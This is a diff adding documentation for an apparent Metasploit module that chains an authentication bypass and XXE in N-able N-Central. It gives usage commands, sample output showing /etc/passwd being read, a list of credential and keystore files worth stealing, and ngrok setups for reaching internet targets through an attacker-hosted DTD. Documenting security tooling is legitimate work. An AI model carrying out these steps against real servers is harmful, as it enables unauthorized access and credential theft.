|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module targets N-able N-Central instances affected by CVE-2025-9316 (Unauthenticated Session Bypass) and CVE-2025-11700 (XXE). |
| 4 | + |
| 5 | +Affected versions: N-Central < 2025.4.0.9 |
| 6 | + |
| 7 | +### Installation |
| 8 | + |
| 9 | +N-able N-Central is a commercial RMM (Remote Monitoring and Management) platform. To obtain a vulnerable version for testing: |
| 10 | + |
| 11 | +1. Contact N-able support or your account representative to request an evaluation copy |
| 12 | +2. Download the installation package from the N-able customer portal |
| 13 | +3. Follow the official installation guide provided by N-able |
| 14 | +4. Ensure the installation is version < 2025.4.0.9 to be vulnerable |
| 15 | + |
| 16 | +Note: This module requires an HTTP server to host the XXE DTD file. |
| 17 | +For WAN testing, you need to expose the DTD server to the internet |
| 18 | +(e.g., using ngrok). |
| 19 | + |
| 20 | +## Verification Steps |
| 21 | + |
| 22 | +1. Start msfconsole |
| 23 | +1. Do: `use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe` |
| 24 | +1. Do: `set RHOSTS <target_ip>` |
| 25 | +1. Do: `set RPORT 443` |
| 26 | +1. Do: `run` |
| 27 | +1. You should see the module obtain a session ID and read the target file via XXE |
| 28 | + |
| 29 | +## Options |
| 30 | + |
| 31 | +### APPLIANCE_ID |
| 32 | + |
| 33 | +Appliance ID range to test (default: `1-30`). The module will iterate through this range to find a valid appliance ID that allows |
| 34 | +session creation. |
| 35 | + |
| 36 | +### FILE |
| 37 | + |
| 38 | +File to read via XXE (default: `/etc/passwd`). |
| 39 | + |
| 40 | +## Files of Interest |
| 41 | + |
| 42 | +Examples of interesting files that can be read via XXE: |
| 43 | + |
| 44 | +- `/etc/passwd` - User accounts |
| 45 | +- `/opt/nable/var/ncsai/etc/ncbackup.conf` - N-Central backup configuration |
| 46 | +- `/var/opt/n-central/tmp/ncbackup/ncbackup.bin` - PostgreSQL dump file |
| 47 | +- `/opt/nable/etc/keystore.bcfks` - Encrypted keystore file |
| 48 | +- `/opt/nable/etc/masterPassword` - Keystore password |
| 49 | + |
| 50 | +### LOG_PATH |
| 51 | + |
| 52 | +Directory path where the log file is written (default: `/opt/nable/webapps/ROOT/applianceLog`). |
| 53 | +The module writes the XXE payload to a log file in this directory before triggering it. |
| 54 | + |
| 55 | +## Advanced Options |
| 56 | + |
| 57 | +### XXETriggerTimeout |
| 58 | + |
| 59 | +Maximum time (in seconds) to wait for XXE file read to succeed (default: `10`). The module uses a retry mechanism to wait for the target |
| 60 | +to fetch the DTD and process the XXE payload. |
| 61 | + |
| 62 | +### DTD_PROTO |
| 63 | + |
| 64 | +Protocol to use in DTD URL and for the local server (default: `http`). Options: `http` or `https`. |
| 65 | +The local server SSL is synchronized with this option. |
| 66 | +Note that N-Central (Java) cannot validate self-signed certificates, so HTTPS will only work if you provide a valid certificate via the |
| 67 | +`SSLCert` option that is signed by a trusted certificate authority. |
| 68 | + |
| 69 | +## Scenarios |
| 70 | + |
| 71 | +### Local Network Testing |
| 72 | + |
| 73 | +When the target N-Central server is on the same network or can reach your machine: |
| 74 | + |
| 75 | +``` |
| 76 | +msf6 > use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe |
| 77 | +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set RHOSTS 192.168.1.100 |
| 78 | +RHOSTS => 192.168.1.100 |
| 79 | +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set RPORT 443 |
| 80 | +RPORT => 443 |
| 81 | +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set SRVHOST 192.168.1.50 |
| 82 | +SRVHOST => 192.168.1.50 |
| 83 | +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set SRVPORT 8080 |
| 84 | +SRVPORT => 8080 |
| 85 | +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > run |
| 86 | +
|
| 87 | +[*] Using URL: http://192.168.1.50:8080/ |
| 88 | +[*] Started XXE DTD server on 192.168.1.50:8080 |
| 89 | +[*] Scanning 192.168.1.100:443 for N-Central vulnerabilities |
| 90 | +[*] Testing appliance ID: 1 |
| 91 | +[*] Testing appliance ID: 2 |
| 92 | +[*] Testing appliance ID: 3 |
| 93 | +[+] 192.168.1.100:443 - Vulnerable to CVE-2025-9316 (Authentication Bypass) |
| 94 | +[+] 192.168.1.100:443 - Obtained session ID: 1234567890 (appliance ID: 3) |
| 95 | +[*] Testing CVE-2025-11700 (XXE) with session ID: 1234567890 (target file: /etc/passwd) |
| 96 | +[*] DTD requested from 192.168.1.100 |
| 97 | +[+] 192.168.1.100:443 - XXE file read succeeded (CVE-2025-11700) |
| 98 | +[+] File contents: |
| 99 | +
|
| 100 | +root:x:0:0:root:/root:/bin/bash |
| 101 | +bin:x:1:1:bin:/bin:/sbin/nologin |
| 102 | +daemon:x:2:2:daemon:/sbin:/sbin/nologin |
| 103 | +... |
| 104 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 105 | +[*] Server stopped. |
| 106 | +``` |
| 107 | + |
| 108 | +### WAN Testing with ngrok |
| 109 | + |
| 110 | +For testing against targets on the internet, expose your DTD server using ngrok. There are two methods: |
| 111 | + |
| 112 | +#### Method 1: ngrok HTTP forwarding |
| 113 | + |
| 114 | +1. Start ngrok: `ngrok http 8080` |
| 115 | +2. Use the HTTP URL provided by ngrok (e.g., `https://abc123def456.ngrok-free.app`): |
| 116 | + |
| 117 | +``` |
| 118 | +use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe |
| 119 | +set RHOSTS target.example.com |
| 120 | +set RPORT 443 |
| 121 | +set SRVHOST 0.0.0.0 |
| 122 | +set SRVPORT 8080 |
| 123 | +set URIHOST abc123def456.ngrok-free.app |
| 124 | +set URIPORT 443 |
| 125 | +run |
| 126 | +``` |
| 127 | + |
| 128 | +#### Method 2: ngrok TCP forwarding |
| 129 | + |
| 130 | +1. Start ngrok: `ngrok tcp 7777` |
| 131 | +2. Use the TCP address and port provided by ngrok (e.g., `0.tcp.eu.ngrok.io:12345`): |
| 132 | + |
| 133 | +``` |
| 134 | +use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe |
| 135 | +set RHOSTS target.example.com |
| 136 | +set RPORT 443 |
| 137 | +set SRVHOST 0.0.0.0 |
| 138 | +set SRVPORT 7777 |
| 139 | +set URIHOST 0.tcp.eu.ngrok.io |
| 140 | +set URIPORT 12345 |
| 141 | +run |
| 142 | +``` |
| 143 | + |
| 144 | +Note: `URIHOST` and `URIPORT` specify the public ngrok address and port that the target will connect to. `SRVHOST` and `SRVPORT` should |
| 145 | +be set to your local listening address and port. |
| 146 | + |
| 147 | + |
| 148 | +## Troubleshooting |
| 149 | + |
| 150 | +- **"Unexpected end of file from server"**: The target cannot reach your DTD server. Check firewall rules and ngrok configuration if using |
| 151 | + a tunnel. |
| 152 | +- **"Session already exists"**: Some appliance IDs may be temporarily unavailable. The module will try other IDs automatically. |
| 153 | +- **No session ID obtained**: Try expanding the `APPLIANCE_ID` range or verify the target is vulnerable (N-Central < 2025.4.0.9). |
0 commit comments